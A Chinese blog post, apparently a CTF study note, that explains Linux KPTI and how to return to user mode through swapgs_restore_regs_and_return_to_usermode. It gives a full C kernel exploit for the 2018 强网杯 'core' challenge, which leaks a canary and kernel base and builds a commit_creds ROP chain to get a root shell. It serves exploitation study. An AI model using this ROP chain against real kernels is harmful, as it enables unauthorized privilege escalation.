知识分享Kernel PwnKernel初识 - Kernel ROP with KPTI bypass
SpaceDraG0nKernel ROP with KPTI bypass
KPTI 即 内核页表隔离
(Kernel page-table isolation),内核空间与用户空间分别使用两组不同的页表集,这对于内核的内存管理产生了根本性的变化。
KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞:Meltdown。简单理解就是利用 CPU 流水线设计中(乱序执行与预测执行)的漏洞来获取到用户态无法访问的内核空间的数据,属于侧信道攻击的一种。
KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限,这使得 ret2usr 彻底成为过去式 。
对于开启了 KPTI(内核页表隔离),我们不能像之前那样直接 swapgs ; iret 返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来 。
众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页 4k,总计 8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作

需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,但两张页表都有着对用户内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局。

KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式 。
除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S
中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode
,地址可以在 /proc/kallsyms
中获得。
由于源码的汇编代码编写较为繁重,我们可以通过 IDA 逆向的方式查看其基本汇编逻辑:

在实际操作时前面的一些栈操作都可以跳过,直接从 mov rdi, rsp
开始,这个函数大概可以总结为如下操作:
1 2 3 4 5 6 7
| mov rdi, cr3 or rdi, 0x1000 mov cr3, rdi pop rax pop rdi swapgs iretq
|
因此我们只需要布置出如下栈布局即可:
1 2 3 4 5 6 7 8
| ↓ swapgs_restore_regs_and_return_to_usermode 0 // padding 0 // padding user_shell_addr user_cs user_rflags user_sp user_ss
|
开启KPTI保护
只需要在内核启动参数 -append
中添加 pti=on
选项以显式开启 KPTI 保护
例题 :强网杯 2018 - core

由于题目刚开始是没有开启 KPTI 保护的 ,所以我们需要手动在启动参数 -append
中添加 pti=on
然后我们启动程序 ,先观察一下 ,如果开启 KPTI 保护 ,执行我们之前的 exp 会发生什么

可以看到运行之前的 exp 直接报错了 ,原因在于我们在内核态的页表中, 用户地址空间部分对应的页顶级表项没有可执行权限
因此我们在返回用户态之前还需要先将内核态页表切换回来,这里我们在完成提权后直接使用 swapgs_restore_regs_and_return_to_usermode
函数返回用户态即可,而无需直接手动调用 iretq
指令。
而swapgs_restore_regs_and_return_to_usermode
的地址我们依旧可以通过保存在 tmp/kallsyms 的函数地址来进行读取

cat /proc/kallsyms | grep "swapgs_restore_regs_and_return_to_usermode"

然后我们就得到了这个函数的地址

计算偏移 ,这个偏移加上我们在调用exp得到的vmlinux地址就是我们最终的函数地址

这个是 swapgs_restore_regs_and_return_usermode
函数的汇编代码,可以看到前面有很多 pop ,但是我们实际要从 mov rdi,rsp
开始 ,而这个地方的偏移恰好是在 swapgs_restore_regs_and_return_usermode + 22
1 2 3 4 5 6 7 8
| ↓ swapgs_restore_regs_and_return_to_usermode 0 // padding 0 // padding user_shell_addr user_cs user_rflags user_sp user_ss
|
这个是我们要布置的栈布局 ,稍微改一下之前的代码就可以了
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<fcntl.h> #include<string.h> #include<sys/types.h> #include<sys/wait.h> #include<sys/ioctl.h> #include<pthread.h> void setoff(int fd,long long size){ ioctl(fd,0x6677889c,size); } void core_read(int fd,char *buf){ ioctl(fd,0x6677889b,buf); } void core_copy_func(int fd,long long size){ ioctl(fd,0x6677889a,size); } size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );
puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_shell(){ system("/bin/sh"); }
int main(){ int fd ; size_t tmp; char buf[0x50]; size_t rop[0x100]; size_t vmlinux_base,canary,core_base; size_t commit_creds = 0x9c8e0; size_t prepare_kernel_cred = 0x9cce0; save_status(); fd = open("/proc/core",O_RDWR); //程序创造了一个接口,所以我们需要把这个接口给打开 ,这样才能进行函数调用 if(fd < 0) { printf("Open /proc/core error!\n"); exit(0); } setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ,而且v5的数据类型是char类型。 core_read(fd,buf); //把canary读入用户态的buf size_t pop_rdi = 0x000b2f; size_t push_rax = 0x02d112; size_t swapgs = 0x0d6; size_t iretq ; size_t xchg = 0x16684f0; size_t call_rax = 0x40398; size_t pop_rcx = 0x21e53; size_t pop_rbp = 0x3c4; size_t pop_rdx = 0xa0f49; size_t mov_rdi_rax_call_rdx = 0x01aa6a; //此时buf的前八个字节是我们的canary canary = (*(size_t *)(&buf[0])); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] Canary >> %p.\033[0m\n",canary); core_base = (*(size_t *)(&buf[2*8])) - 0x19b; puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] core_base >> %p.\033[0m\n",core_base); vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] vmlinux_base >> %p.\033[0m\n",vmlinux_base); pop_rdi += vmlinux_base; pop_rcx += vmlinux_base; pop_rbp += vmlinux_base; pop_rdx += vmlinux_base; mov_rdi_rax_call_rdx += vmlinux_base; swapgs += core_base; iretq = 0x50ac2 + vmlinux_base; commit_creds += vmlinux_base; prepare_kernel_cred += vmlinux_base; size_t swapgs_restore_regs_and_return_to_usermode = 0xa008da + vmlinux_base; int i = 0; for(i=0;i<10;i++){ rop[i] = canary; } i = 10; rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = pop_rcx; rop[i++] = mov_rdi_rax_call_rdx; rop[i++] = commit_creds; rop[i++] = swapgs_restore_regs_and_return_to_usermode+22; rop[i++] = 0; rop[i++] = 0; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,i*8); core_copy_func(fd,0xf000000000000000+i*8); puts("\033[34m\033[1m[*] Attack Success! .\033[0m"); return 0; }
|

成功提权
参考链接:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass/